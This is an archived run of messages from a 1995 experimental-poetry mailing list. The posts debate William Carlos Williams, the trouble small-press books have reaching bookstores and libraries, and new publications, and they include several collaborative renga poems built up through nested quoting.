> *Date: Mon, 18 Sep 1995 21:14:28 -0800*
> *From: Blair Seagram <[redacted]>*
> *Subject: typo on St Marks*

> *I congratulate them on there expansion.*
>
> *Whoops, that should be 'their' expansion*

or "that there"

↑ Index

610. W. Northcutt
Hep me! I need addresses.
Tue 19 Sep 1995

Dear Feller-lurkers: Some of my collegues at Erlangen, Germany are translating and assembling in an anthology of American poets--including Ron Silliman and Chas Bernstein, whom, they tell me, have already given they're permission.

They're having some difficulties locating others for permissions, so if any of you have addresses for the following, I'd appreciate it if you could email them to me at

[redacted]

Okay, here they are:

Ginsberg
Snyder
Levertov
Ashbery
Merwin
and Rothenberg

Thanks in advance, William Northcutt

↑ Index

611. Edward Foster
Re: you & why an army?
Tue 19 Sep 1995

---

ummmm. . . well, doesn't it have to do with how you read whom you read? you can read bryant but as history; his words and language aren't ours. wcw is typewriters and trolleys. painters survived g. o'k. wcw is not gospel.

↑ Index

612. **Edward Foster**
Re: WCW Trolley
Tue 19 Sep 1995

---

reintroduce trolleys? i don't know aldon; that sounds what we went thru w/ reagan. here in my sleazy hometown, they're reintroducing trolleys, and corps. are rushing over the river from n.y. no, the answer for the millenium is not: bring back wcw.

↑ Index

613. **Jorge Guitart**
Re: Sheila, Chris & Jorge's Excellent Adventure
Tue 19 Sep 1995

On Tue, 19 Sep 1995, Teachers & Writers wrote:

> > > >>SEM-CC-JG BRANCH 9/18/95
> > > >>
> > > >>in the books were dreams and in the dreams were
> > > >>books.And flew > >> >>> >>
> > > >>> >> >>> >> (...)
> > > >>> >> >>> >>
> > > >>> >> >>> >>> >spending the bulk of closure with sentient scoops
> > > >>> >> >>> >>> that fluke picnic shot out of these worlds we spread been-to
> > > >>> >> >>> >> say that the center cannot hold the nose tackle much longer
> > > >>> >> >>> >than a clam can sleeve out of incarceration baldly
> > > >>> >> >>> go where others fear to operate the biggest donors hive
> > > >>> >> >>> & where Mars collides with the small world of "It's a small world"
> > > >>> >> >ripe for macroscopes to pump or slice or butterfly away
> > > >>> >> from that ardent bugged heliotrope and pledge allegiance through
> > > >>> > ostension--we stopped short of the shortstop stigmata
> > > >>> this time pencilled in as tangly wisps instead of memory
> > > >> detonations: but don't forget to dismember the doloroso
> > > >I left in the rain by mistake whilst on business vocation
> > > hollering newmown platitudes to headsets painted blue and waffle colored
> > > earth colored fire colored i have this thing against water colored
> >hive ravenous piers for tattle I teach you as previous propagation
that you were in conflict with my treshhold for treshholds, so get

↑ Index

614. **Edward Foster**
Re: you & an army of mixed metaphors and forgotten half-truths...
Tue 19 Sep 1995

---

i was referring to the passage quoted from wcw and suggesting that if you unpack it you find that it eliminates or questions ways of speaking--gnostic utterance for one. no? which irritates. a little too unitarian (?), or clarity thru elimination.

↑ Index

615. **Edward Foster**
Re: you & an army of mixed metaphors and forgotten half-truths...
Tue 19 Sep 1995

---

specifically, burt: we are told the passage comes from wcw: ok, in that case, we have to ask, now, why "nature" [whatever that meant, then] should not be "an accessory to a particular theory," why not be "blind" to what wcw called "the world"?

↑ Index

616. **Marshall H. Reese**
Zukofsky videotape
Tue 19 Sep 1995

---

in fact there is another Louis Zukofsky videotape kicking about and it is located in the Milton Eisenhower library at Johns Hopkins University. Hugh Kenner I believe had invited Zukofsky to read and here is the record of him reading, I believe A-22 and -23... as a video, regretably, it's not so good -- i.e., very wide shots and a table lamp w/ shade infront of the camera... but as a document, it's good and the audio quality is also good... i don't know anything about the availability but it's there...

↑ Index

617. **Kit Robinson**
A24
Tue 19 Sep 1995

Reply to: A24

Herb,

As Ron & Bill say, A24 was performed at the Grand Piano coffee house in SF, at SF State for the Poetry Center, and

at UC Davis in a small recording studio. I don't know if the Grand Piano gig was taped. The SF State performance was videotaped, but the best performance & recording was done at UC Davis. The cast:

Bob Perelman - piano
Barrett Watten - poem
Lyn Hejinian - story
Carla Harryman & Steve Benson - play
Kit Robinson - essay

I wonder if the American Poetry Archive has a copy of the UC Davis tape. Laura?

Kit

↑ Index

618. Thoreau Lovell
New Five Fingers Review
Tue 19 Sep 1995

Re: Distribution or Bust

Thanks Charles for reminding us lurkers that we need, at least, to keep the basic information flowing.

Five Fingers Review 14, "Metamorphosis," is now available. The issue was inspired by and is dedicated to the memory of Nina Iskrenko. Belated thanks go out to Ron Silliman, Ed Foster and others for their postings just after Nina died. She was a contributing editor for FFR and a dear friend as well. No 14 includes a collaborative project Nina directed just before she died, called the the Metamorphosis Project, in which she distributed a short excerpt from Plato's Laws with "all the nouns lovingly crossed out" to a group of Russain and American writers asking them to fill in the blanks. The Russian contributors are: Nina, Sveta Litvak, Nikolai Baitov, Igor Zhukov, Sergei Solovyev, Pavel Mityushev, Dmitry Vodennikov and Andrei Vorkunov. The American: John High, Leslie Scalapino, Thoreau Lovell, Michelle Murphy and Scott MacLeod.

The issue also features special sections by other contributing editors: Writing from the UK edited by Fanny Howe, with work by Ken Edwards, David Dibosa, Wendy Mulford and Drew Milne. A section of Native American / Mixed Blood writing edited by Mark Nowak, featuring Diane Glancy, Kimberly TallBear and Eric Priestley. C. D. Wright and Forrest Gander introduce writing by two younger writers, J. L. Jacobs and Mallory Tarses respectively. Rounding out the issue is a section of new poems by Ivan Zhdanov translated by John High and an interview with Zhdanov conducted by John High.

Other contributors are: Jon Davis, Sally Doyle, Evgeny Laputin trans. Vitaly Chernetsky, H. E. Francis, Craig Czury, John Olson, Gordon Lish, Mark Mirsky, Ezra Mark, Elizabeth Robinson, David Hoefer, Larry Fondation, Lawrence Fixel, Stephen Ratcliffe, Annabelle Honza Clippinger, Stefanie Marlis, Robert Fagan, Andrew Joron, Ray DiPalma, and Liz Waldner.

Copies can be ordered directly from Five Fingers for $9.00 at:

Five Fingers Review
PO Box 15426
San Francisco, CA 94115

Phone: [redacted]
email: [redacted]

SPD and our other distributors should have copies by the end of September.

Best,

Thoreau Lovell, Co-Editor w/John High

Thoreau Lovell ([redacted]) / ([redacted])
Computer Coordinator, College of BSS
San Francisco State University

↑ Index

619. Lisa Robertson
LZ & bookshop chickenshit
Tue 19 Sep 1995

"Bookstores are just as chickenshit as commercial radio stations."

Dear Steve (and all with bookstore complaints),

Here's a slightly crabby response from someone who worked the front lines of
chickenshit-- having owned and run a bookstore for six years. I agree that it is
irritating to rarely find one's literary tastes represented on bookstore
shelves. I agree that the situation is getting worse as time goes by. But the
reason is not that bookbuyers are more disinterested in avant garde concerns,
but that it is becoming a increasingly large risk, in our deflated economies, to
maintain a stock that adequately represents even the major movements in
contemporary poetry and poetics, let alone off shoots, "minor" writers, etc.

Booksellers are not plotting together to keep experimental writing out of the
marketplace. They are stuggling under extremely anxious conditions to keep their
businesses open. As Charles pointed out, overhead gets more and more impossible
in the urban areas which have any sort of concentrated readership of such books.
If a store does seem to have even a rudimentary stock of books you like, it
probably means that the shop is kept open by free labour, outside jobs on the
owner's part, and almost definately some sort of martyred partner with a banal
day job, who keeps the rent paid at home, and the fridge stocked. You can
imagine the burn-out rate of such a life. The point is, why trash even small
efforts towards adventurous ordering? Why not patiently place special orders for
Zukofsky, Ferguson, Bernstein, Doris, Celan, then make sure you actually(and
promptly) buy the book when it arrives? Why not inform your bookseller about
reading communities who would happily buy sun and moon books, roof books,
tsunami books? Then make sure these people respect the economic outlay a broke
bookseller is making, make sure money changes hands. Why not make group orders
via your informal reading groups? If you teach, why not order through
independant shops? If you are a tenured person with an income, why not buy from
a shop instead of waiting for a complimentary copy to arrive in the mail?
Bookstores finally have to either close, or change their stocking policies and
philosophies, for complex reasons. Many customers regard a shop that stocks
language poetry, black mountain, tish, objectivists, more like a museum or a
community service, than a shakey business that desperately needs economic
patonage. Booksellers are often so worn out fielding calls from collections
departments that they can't spend alot of time teaching themselves about poetry
movements. Its up to the customer who wants a good booksource to teach the
bookseller, help her build a relationship with alternative buying

communities.
The rent which shelters these formidable tomes you favour must be paid, the space must be insured, the phone kept operative, even if the bookseller herself
does live on someone else's generosity. Most bookstores are very happy to special order, and if you multiply these orders, by ordering with friends, then
the buyer starts to get the point. Here I am begining to repeat my theme, I know, but in that business haughty individuals who deplore the absence of their
personal canons are the (irritating) norm. Often the clerk you speak with is not
the buyer, is someone working for minimum wage, or volunteering, and can't be a
specialist in your area. Often the bookseller is too embarrassed to tell you
that the book you have ordered is in limbo because an account has been frozen or
terminated due to inability to pay. Under long term duress, the protocols of
concerned and attentive customer service can occaisionally wear thin. Only a
committed and patient community can keep a good shop open.

On that note I would suggest that all Vancouver list subscribers rush to Black
Sheep Books on fourth avenue, and help Denise and Trent by buying something, and
by ordering something. I understand that multiple copies of Perelman's Trouble
with Genius will be arriving there shortly.

respectfully,
Lisa Robertson

↑ Index

620. **cris cheek**
Re: Sheila, Cris & Jorge's Excellent Adventure
Tue 19 Sep 1995

>> >>> >SEM-CC-JG BRANCH 19/9/95 C adding to J adding to C adding to S
>> >>in the books were dreams and in the dreams were books.And flew
>> >>spending the bulk of closure with sentient scoops

>> >>that fluke picnic shot out of these worlds we spread been-to
>> >>say that the center cannot hold the nose tackle much longer
>> >>than a clam can sleeve out of incarceration baldly
>> >>go where others fear to operate the biggest donors hive
>> >>& where Mars collides with the small world of "It's a small world"
>> >>ripe for macroscopes to pump or slice or butterfly away
>> >>from that ardent bugged heliotrope and pledge allegiance through
>> >>ostension--we stopped short of the shortstop's stigmata
>> >>this time pencilled in as tangly wisps instead of memory
>> >>detonations: but don't forget to dismember the doloroso
>> >>I left in the rain by mistake whilst on business vocation
>> >>the night I told you to stop referring to me as Ontology Boy
>> >and you replied all shrouded in epistemology that it was glue we lacked
>> "ckab oups frert cdl-fdl!!" with elvis projecting "uhhhh, I'm all stuck
>>in the epoxy I used to cement my relationship w/ Thou, the Dead Quaker
who who traipses a paradigm sweat under lights and then fixes

↑ Index

621. cris cheek
Re: Sheila, Chris & Jorge's Excellent Adventure
Tue 19 Sep 1995

>> >
>> >> >>SEM-CC-JG BRANCH 9/19/95 C adding to J adding to S
>> >> >>
>> >> >>in the books were dreams and in the dreams were
>> >> >>books.And flew > >> >>> >>
>> >> >>> >> >>> >> (...)
>> >> >>> >> >>> >>
>> >> >>> >> >>> >>> >spending the bulk of closure with sentient scoops
>> >> >>> >> >>> >>> that fluke picnic shot out of these worlds we spread
>>been-to
>> >> >>> >> >>> >> say that the center cannot hold the nose tackle
much longer
>> >> >>> >> >>> >than a clam can sleeve out of incarceration baldly
>> >> >>> >> >>> go where others fear to operate the biggest donors hive
>> >> >>> >> >>> & where Mars collides with the small world of "It's a
small
>>worl
>d"
>> >> >>> >> >ripe for macroscopes to pump or slice or butterfly away
>> >> >>> >> from that ardent bugged heliotrope and pledge allegiance

through
>> >> >>> > ostension--we stopped short of the shortstop stigmata
>> >> >>> this time pencilled in as tangly wisps instead of memory
>> >> >> detonations: but don't forget to dismember the doloroso
>> >> >I left in the rain by mistake whilst on business vocation
>> >> hollering newmown platitudes to headsets painted blue and waffle colored
>> >> earth colored fire colored i have this thing against water colored
>> therefore elemental-painted playthings cost a dear shined copper looking
>> for false grit and the dogma of autonomous syntaxis overwhelmed them when striking from base-camp their paraffin tongues in the cauldron

↑ Index

622. cris cheek
Re: Sheila, Chris & Jorge's Excellent Adventure
Tue 19 Sep 1995

>> >> >SEM-CC-JG BRANCH 9/19/95 C adding to J adding to S
>> >> >
>> >> >in the books were dreams and in the dreams were
>> >> >books.And flew > >> >>> >>
>> >> >> >> >>> >> (...)
>> >> >> >> >>> >>
>> >> >> >> >>> >>> >spending the bulk of closure with sentient scoops
>> >> >> >> >>> >>> that fluke picnic shot out of these worlds we spread been-to
>> >> >> >> >>> >> say that the center cannot hold the nose tackle much longer
>> >> >> >> >>> >than a clam can sleeve out of incarceration baldly
>> >> >> >> >>> go where others fear to operate the biggest donors hive
>> >> >> >> >>> & where Mars collides with the small world of "It's a small
>>world
>"
>> >> >> >> >ripe for macroscopes to pump or slice or butterfly away
>> >> >> >> from that ardent bugged heliotrope and pledge allegiance through
>> >> >> > ostension--we stopped short of the shortstop stigmata
>> >> >> this time pencilled in as tangly wisps instead of memory
>> >> > detonations: but don't forget to dismember the doloroso
>> >> pitchpipe with its squeal subtracted and the dotted-line relationships
>> >and sing "I Love Time but I love Your Spatial Simulacra Much More"
>> for the brevity inferred and for the latchkey touch more like a feather

>> drizzling blood of picklet beet all over the related phenomena
braising from punch a drunk streak which no absolute bearings flew
>>

↑ Index

623. Gale Nelson
Tapes of Laura Riding and Robert Graves
Tue 19 Sep 1995

Does anyone know of any tapes of readings by Laura Riding or Robert Graves? Many thanks for your input.

Gale Nelson

↑ Index

624. George Bowering
Re: Dangerous poets?
Tue 19 Sep 1995

Maybe USAmerican poets arent dangerous, but their novelists can be, to their wives. Take Mailer and Burroughs, for instance.

And some of us know of a USAmerican poet who shot his wife.

↑ Index

625. George Bowering
Re: spike it with saussure - begins the intramix...
Tue 19 Sep 1995

Some ink-daubbed wretches wrote:

In the books were dreams and in the dreams were books
incorporating the end of timewarps and troves treasured
the mercator projection of horniness and thou; for thou is
Wow! What a catch! Yowza! Incorporating the dead heroes
of Palookaville & the dead heroes of Guadalajara
empowering scores of liberated mozos intent of Lacanian

↑ Index

626. George Bowering
Re: publications/anagram
Tue 19 Sep 1995

And Michael Boughn can be respelled

Bohemian Gulch

↑ Index

627. Tony Green
Re: Pergolesi
Tue 19 Sep 1995

It's a kind of a bad teminology joke. Baroque in painting sculpture architecture town planning means a variable time/period-thing that's hottest in the 17th century, but still going in some versions in the early 18th in Germany and Austria. But music: that's altogether a different terminology and even Mozart in the late 18th century is sometimes called baroque (rarely & I suppose carelessly)though I must say. Bach and even more obviously Handel coincide with what in European decorative asrts painting architecture etc is usually called Rococo. Forget the big old period terminology and its attempts to find a few simple style characteristics to fit everyone into a time. French literature Baroque is late 16th century to early 17th century and ends with the Precieux, maybe the death of Voiture 1648 wd be a good date. The whole enterprise is deeply suspect. Personally I'm more interested in way pomo readings of much late 16th c and early 17th c arts can be useful (which I refuse to say any more about, because it's the same old game once more other than in a three volume encyclopaedic book).

The Baroque as a term is about as useful as G1 when it comes down to the reading/understanding/enjoyment or even on the critical commentary on any actual works.

Go Pergolesi, with your somewhere between Baroque and Rococo even early classical-romantic harmony-melody!

Tony Green,
e-mail: [redacted]

↑ Index

628. George Bowering
Re: spike it with saussure - begins the reich
Tue 19 Sep 1995

On Sep. 19, Edgar Varese wrote:

In the books were dreams and in the dreams were books.
incorporating the end of timewarps and troves treasured
the mercator projection of horniness and thou; for thou is
Wow! What a catch! Yowza! Incorporating the dead heroes

who pester as obsession or a hobby or as fraction of a prayer,
towering above us with a lot of bothersome >>>>>>>>>>>>,s

↑ Index

629. George Bowering
Re: Distribution or Bust
Tue 19 Sep 1995

Okay, my most recent novel, _Shoot!_ is going to be published in the US by St. Martin's Press in January.

↑ Index

630. Patrick Phillips
Dist. or Bust (i.e., New Book)
Tue 19 Sep 1995

Well, I have to fess up. I just received 9 boxes of my new book _Ruin_. But if my silence on the publication of this book weren't egregious enough quietude, I am also the publisher. - what books - is the name of my press.

Upcoming from what books is a book by Thad Ziolkowski titled _Our Son the Arson_, due sometime at the end of the year. I hope in the next year to publish one or two other collections and a recalcitrant anthology I've been working on for a while. I aim to publish two or three books a year by writers who are just outside the loop. what books is not an effort to bring writers into the loop-as-such, but to see if there can remain for at least a while a notion complicit autonomy. There is a big cusp.

As to my book, I have had luck doing the consignment hustle in NYC - St. Marks had one copy last I heard (two were purchased there by friends) and Tower's consignment buyer wants more. That's pretty much the extent of my distribution to date. Now I have 750 copies...

If anyone would like a copy (or copies for thier book store shelves) you can reach me here, preferably back-channel, or at [redacted]. I would be glad to send you one. I know that some of you are strapped for cash (or couldn't bear the sight unseeness of it,) I will be giving away some copies, so if you would like a copy (for barter, trade, or donation and postage), please send me your mailing address and I'll gladly send you one.

I would also be very glad to hear anyone's comments on SPD and "other" distribution methods. I would also like to know people have luck hoofing into other stores in the Boston/NY/Philly/DC area with thier books, or which stores are particularly open. Julianna, or Rod, do either of you have small press info?

Lisa Robertson, what is your view of the viability of quite small "indi's" in the small press slump?

Patrick Phillips
107 Elmgrove Ave.
Providence, RI 02906

[redacted]

↑ Index

631. Gabrielle Welford

Re: Sheila, Chris & Jorge's Excellent Adventure

Tue 19 Sep 1995

> *in the books were dreams and in the dreams were*
> *books.And flew > >> >>> >>*
> *(...)*
> *spending the bulk of closure with sentient scoops*
> *that fluke picnic shot out of these worlds we spread been-to*
> *say that the center cannot hold the nose tackle much longer*
> *than a clam can sleeve out of incarceration baldly*
> *go where others fear to operate the biggest donors hive*
> *& where Mars collides with the small world of "It's a small world"*
> *ripe for macroscopes to pump or slice or butterfly away*
> *from that ardent bugged heliotrope and pledge allegiance through*
> *ostension--we stopped short of the shortstop stigmata*
> *this time pencilled in as tangly wisps instead of memory*
> *detonations: but don't forget to dismember the doloroso*
> *I left in the rain by mistake whilst on business vocation*
> *hollering newmown platitudes to headsets painted blue and waffle colored*
> *earth colored fire colored i have this thing against water colored*
> *therefore elemental-painted playthings cost a dear shined copper looking*
> *masked vertigo beyond the ti plants fye*

↑ Index

632. Sheila E. Murphy

Re: Pergolesi

Tue 19 Sep 1995

I'm a fool for Stabat Mater, too. An incomparable experience to sing. I still feel where on the risers I was standing.

Sheila

↑ Index

633. **Sheila E. Murphy**
Re: be advised: wcw qtd in this renga
Tue 19 Sep 1995

>On Sun, 17 Sep 1995, Sheila E. Murphy wrote:
>
>> >On Sun, 17 Sep 1995, George Bowering wrote:
>> >
>> >> In the books were dreams and in the dreams were books.
>> >> And flew through windows, lightning green and fine morning
>> >> First inverted whistle of a cardinal in the poplar
>> >> The book and the oboe on the grass under sun and cloud
>> >> Go endlessly, an obtuse Prussian blue, it binds
>> >> The rook to the knight here by King's Bishop Three
>> >> Something has changed in the nature of friendship
>> >> But wouldn't you know it, Mrs. Mullett next in line
>> >> For food stamps, quints racing about the linoleum
>> >> Everything leans on the verb, falling, sighs
>> >> Twelve at least, one loves only firm, and firm
>> >> feels good to her it feels real good, & the corset
>> blanches from so many passwords being lifted like expected bans
> on metaphors that the folks at the contagious hospital
thought we might be weaned of early, late, whatever

↑ Index

634. **Sheila E. Murphy**
Re: spike it with saussure - begins the intramix...
Tue 19 Sep 1995

>Some ink-daubbed wretches wrote:
>
>In the books were dreams and in the dreams were books
>incorporating the end of timewarps and troves treasured
>the mercator projection of horniness and thou; for thou is
>Wow! What a catch! Yowza! Incorporating the dead heroes
>of Palookaville & the dead heroes of Guadalajara
>empowering scores of liberated mozos intent of Lacanian
libretti, salted with much, much more than roughage added to taste

↑ Index

635. Sheila E. Murphy
Re: spike it with saussure - begins the reich
Tue 19 Sep 1995

GB wrote:

>On Sep. 19, Edgar Varese wrote:
>
>
>In the books were dreams and in the dreams were books.
>incorporating the end of timewarps and troves treasured
>the mercator projection of horniness and thou; for thou is
>Wow! What a catch! Yowza! Incorporating the dead heroes
>who pester as obsession or a hobby or as fraction of a prayer,
>towering above us with a lot of bothersome >>>>>>>>>>>>,s
measured at density 21.5 along with a "d" added to first name

↑ Index

636. Jeffrey Timmons
Re: you & an army of mixed metaphors and forgotten half-truths...
Tue 19 Sep 1995

On Mon, 18 Sep 1995, Edward Foster wrote:

> various things, jeffery, too much for here, but at least (1) unpack wcw's rhetoric: it trivializes much poetry. wcw "clarity" entails doing less, not better. (2) let's retire "avant-garde." see jackson mac low on this.
it's a military line. -ed

1: Would you care to? Please. . . 2: Yes, less, not necessarily better; but also novel in context--important. 3: Sure, but you know what I mean. And still, where would we be without that influence?

Jeffrey Timmons

↑ Index

637. Charles Alexander
Re: Distribution 'R' Us
Tue 19 Sep 1995

> *Even in a city without a store like Woodland Pattern, Talking Leaves, Bridge Street, it still makes sense to find an independent local store and order through them.*

Thanks, Herb, for pointing this out. It is too easy to be cynical about bookstores, yet so true that at least some of them can be influenced by us when we actually

buy books. I imagine there are several people on this list who buy $500 or more (for some, a lot more) of books each year. To a bookstore, that makes you significant, particularly when you figure it's only a small percentage of Americans who ever set foot in a bookstore.

> *Another thing that can increase the distribution of "this kind of" poetry is to make purchase requests at libraries.*
>
> *They won't buy everything (& the selections can seem frustratingly arbitrary), but library buyers are overwhelmed with options & frequently just need an excuse to make a choice. If few people are requesting books (&, even at academic libraries, most people don't), you could make a real mark on a library's poetry collection.*

I even know of one case at a university where, during a rash of spending cuts lasting quite some time, librarians could only order books which faculty members had requested. Several librarians I've known have been outstanding builders of poetry collections (far better than most literature professors). I trust them with the decisions more than I trust the faculty, for the most part.

Thanks for saying these various things, Herb.

charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

638. **Jeffrey Timmons**

Re: you & an army of mixed metaphors and forgotten half-truths...

Tue 19 Sep 1995

On Tue, 19 Sep 1995, Edward Foster wrote:

> i was referring to the passage quoted from wcw and suggesting that if you unpack it you find that it eliminates or questions ways of speaking--gnostic utterance for one.

I'm not sure why I'm pursuing this . . . I thought we trashed over WCW months ago? Anyway, the passage--if it's the one I posted--does seek to question a way of speaking; specifically, a poetry that emulates the real. WCW was after the shape of the imagination--as vague, mind you, as Nature, but specifically attempting to free poetry from the constraints of an inherited romantic tradition

binding verse to the depiction of a natural world. WcW (wCw; W2C?) was . . . questioning the validity of this way of writing. And, again,(especially if we are to pursue this any further) I ask: where would we be without this influence?

Jeffrey Timmons

↑ Index

639. **Steve Carll**

Re: you & an army of mixed metaphors and forgotten half-truths...

Tue 19 Sep 1995

---

ed writes:

>various things, jeffery, too much for here, but at least
(1) unpack wcw's rhetoric: it trivializes much poetry. wcw "clarity" entails doing less, not better.

This is probably the concomitant danger of the attempt to poetize trivia, to champion "simple everyday speech." Certainly when WCW's effort fails, the trivia stays trivial and the poetry joins it. But honestly, Ed, are there no moments in WCW when something trivial achieves a shining presence through Williams' treatment of it?

(2) let's retire "avant-garde." see jackson mac low on this. it's a military line.

...which has been incorporated by the fashion industry.

Steve

↑ Index

640. **Charles Alexander**

Re: be advised: wcw qtd in this renga

Wed 20 Sep 1995

>>On Sun, 17 Sep 1995, Sheila E. Murphy wrote:
>>
>>> >On Sun, 17 Sep 1995, George Bowering wrote:
>>> >
>>> >> In the books were dreams and in the dreams were books.
>>> >> And flew through windows, lightning green and fine morning
>>> >> First inverted whistle of a cardinal in the poplar
>>> >> The book and the oboe on the grass under sun and cloud
>>> >> Go endlessly, an obtuse Prussian blue, it binds
>>> >> The rook to the knight here by King's Bishop Three
>>> >> Something has changed in the nature of friendship
>>> >> But wouldn't you know it, Mrs. Mullett next in line

>>> >> For food stamps, quints racing about the linoleum
>>> >> Everything leans on the verb, falling, sighs
>>> >> Twelve at least, one loves only firm, and firm
>>> >> feels good to her it feels real good, & the corset
>>> blanches from so many passwords being lifted like expected bans
>> on metaphors that the folks at the contagious hospital
>thought we might be weaned of early, late, whatever
the contagious wind strikes a chord with nothing ventured

↑ Index

641. **Charles Alexander**
Re: spike it with saussure - begins the intramix...
Wed 20 Sep 1995

> *Some ink-daubbed wretches wrote:*
>
> *In the books were dreams and in the dreams were books*

>>of Palookaville & the dead heroes of Guadalajara
>>empowering scores of liberated mozos intent of Lacanian
>libretti, salted with much, much more than roughage added to taste
or tremolo, finding the shores awash with alphabet, proclaiming nothing

↑ Index

642. **Thomas Bell**
Re: spike it with saussure - begins the intramix...
Wed 20 Sep 1995

Some ink-daubbed wretches wrote:

In the books were dreams and in the dreams were books
incorporating the end of timewarps and troves treasured
the mercator projection of horniness and thou; for thou is
Wow! What a catch! Yowza! Incorporating the dead heroes
of Palookaville & the dead heroes of Guadalajara
empowering scores of liberated mozos intent of Lacanian
Bananas and coconut grove's ashes Phoenix rose and o

↑ Index

643. **Thomas Bell**
Re: spike it with saussure - begins the intramix...>
Wed 20 Sep 1995

> *someone, sometime maybe wrote:*

> > >In the books were dreams and in the dreams were books.
> > incorporating the end of timewarps and troves treasured
> > the mercator projection of horniness and thou; for thou is
> Wow! What a catch! Yowza! Incorporating the dead heroes
>> of Palookaville & the dead heroes of Guadalajara
far and away in the midst of a hustlingbusted big CCIITTYY

↑ Index

644. **Blair Seagram**
poetry, bookstores, the list
Wed 20 Sep 1995

Well, I am ignorant of many things, including poetry, contemporary poetry and the bookstores that carry these elements of our being . And yet, I find no contempt (unless I'm missing something) here , on this list.

↑ Index

645. **Jim Andrews**
Re: Dangerous poets?
Wed 20 Sep 1995

> *What is a "dangerous" poet?*
>
> *Tom*
> [redacted]

I nu she was dangerus but was she a poet? So I askd her wat a dangerus poet is. She sed a dangerus poet sets u free and on the road to ruin. I sed u goin my way beautiful? She sed u gotta doo bettr thn that if u wanna be free. I'd settle for ruind I sed. She sed I onlee date poets. I sed are yu a poet? She sed that's a jujment not a vocashun. So I need to deside wether yore a poet? I'll call yu one if yu call me one I sed. I don't need it that bad she sed. Doo u need it I askd. U ask a lot of questyuns she sed. I don't hav a lot of ansers I sed. So r u a poet she askd. I squirmd n sed if u don't say so no one will beleev u. Yore work she replied. Poetry is wide I sed. Hoose perpus duz it suit and what's the perpus if someone calls yu a poet. In yore case, she sed, it's to get me into bed. I think yer dangerus I sed. I don't noe what poetry is, I sed. She sed flatteree will get you noware. As for poetry, neethr do I she sed. Wat is it tht we want to be she sed and y? If it is th outword thing then weave missd it there's devoshun to wat can be sed th reach of it and all of us in th breath. Time and we will tell us hoo we r I sed. A dangerus one's a pure one maybe. Hoo can tell too early? We spend it out finding out. Honey I'm on th road to ruin. And hey I got a little

lucky fr a coffee and the diffrence between a rebel and a revolutionary. It wasn't enuff but it was a start.

↑ Index

646. R I Caddel
Re: Distribution 'R Us
Wed 20 Sep 1995

In uk universities book-buying budgets are so tight that it's not uncommon for all library selection to be delegated to faculty. The result, in my experience, is that collections are always lagging behind current academic interest because they are reacting to demand, rather than understanding it and preempting it. Also, collections fragment as each individual pursues his/her own concerns, and the "linkage" areas fall by the wayside. Smallpress buying, it goes without saying, also falls away.

Having a librarian involved in selection doesn't fix the basic problem (lack of resource) but it should mean that selection has a broader base, and can react to wider interests (as long as these are expressed, and don't remain at the sudued muttering stage). Gently, I'm starting to squeeze a little more smallpress material into Durham...

signed,
A Librarian

↑ Index

647. Charles O. Hartman
Re: Distribution or Bust
Wed 20 Sep 1995

Well, OK, my _Glass Enclosure_ came out from Wesleyan a couple of months ago. And earlier in the year Sun & Moon did Hugh Kenner's and my _Sentences_.

Charles O. Hartman

↑ Index

648. SUSAN E. TICHY
Re: LZ & bookshop chickenshit
Wed 20 Sep 1995

Thank you, Lisa, for a little breath of un-self-centered air in this discussion. As co-owner of one of the world's smallest bookstores, I can corroborate the sad truth that invoices must be paid whether the books on them have sold or not.

And the effort to balance what will sell with what I wish would sell, what I'd like to be surrounded with, is in itself a career. When a customer asks for a book I don't have--or a whole category of books I don't have--I always respond by offering to place an order. Usually the disgruntled one can't be bothered.

And one more thing--bookstore owners have venues of our own, where we talk about our customers the way you are talking about us. That's the reason there aren't more assaults in bookstores.

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649. Charles Alexander

Re: Dist. or Bust (i.e., New Book)

Wed 20 Sep 1995

Dear Patrick:

I'd love to trade for a copy of Ruin. I can send you one of my books (Hopeful Buildings, Chax Press; or arc of light/dark matter, Segue Books), or I can send another Chax Press Book (Ron Silliman, Demo to Ink; Kathleen Fraser, when new time folds up; Beverly Dahlen, A Reading 8-10; Norman Fischer, Precisely the Point Being Made; Sheila Murphy, Teth; Karen Mac Cormack, Quirks & Quillets; bp Nichol, Hopeful Buildings; Eli Goldblatt, Sessions; Wo'i Bwikam/Coyote Songs, from the Yaqui Bow Leaders' Society; or the forthcoming The Said Lands, Islands, & Premises, by Mary Margaret Sloan, etc.), or you could wait for a new book by me in about six months.

Let me know. And send anything to the address below.

all best,
charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

650. Burt Kimmelman

Re: you & an army of mixed metaphors and forgotten half-truths...

Wed 20 Sep 1995

Ed,

I'm afraid I got lost. What passage? What is this about "nature"? Etc.

(I may have accidentally deleted some unread messages, Or else maybe I've had a minor stroke, but anyway I dont' know to what your last message responds.

love,

burt

↑ Index

651. **Jorge Guitart**
Re: be advised: wcw qtd in this renga
Wed 20 Sep 1995

On Tue, 19 Sep 1995, Sheila E. Murphy wrote:

> *On Sun, 17 Sep 1995, Sheila E. Murphy wrote:*
>
> *On Sun, 17 Sep 1995, George Bowering wrote:*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The rook to the knight here by King's Bishop Three*
> *Something has changed in the nature of friendship*
> *But wouldn't you know it, Mrs. Mullett next in line*
> *For food stamps, quints racing about the linoleum*
> *Everything leans on the verb, falling, sighs*
> *Twelve at least, one loves only firm, and firm*
> *feels good to her it feels real good, & the corset*
> *blanches from so many passwords being lifted like expected bans*
> *on metaphors that the folks at the contagious hospital*
> *thought we might be weaned of early, late, whatever,*
> *but I am taking the broken glass as a token of my first epiphany*

↑ Index

652. **Jorge Guitart**
Re: spike it with saussure - begins the intramix...
Wed 20 Sep 1995

> *Some ink-daubbed Canadian & American wretches wrote:*
>
> *In the books were dreams and in the dreams were books*
> *incorporating the end of timewarps and troves treasured*
> *the mercator projection of horniness and thou; for thou is*
> *Wow! What a catch! Yowza! Incorporating the dead heroes*
> *of Palookaville & the dead heroes of Guadalajara*
> *empowering scores of liberated mozos intent of Lacanian*

> *libretti, salted with much, much more than roughage added to taste*
> *doughboys & doughgirls, behaving like superfluous enigmas*

↑ Index

653. **Jorge Guitart**

Re: spike it with saussure - begins the reich

Wed 20 Sep 1995

Jorge Bowering Murphy wrote

> *In the books were dreams and in the dreams were books.*
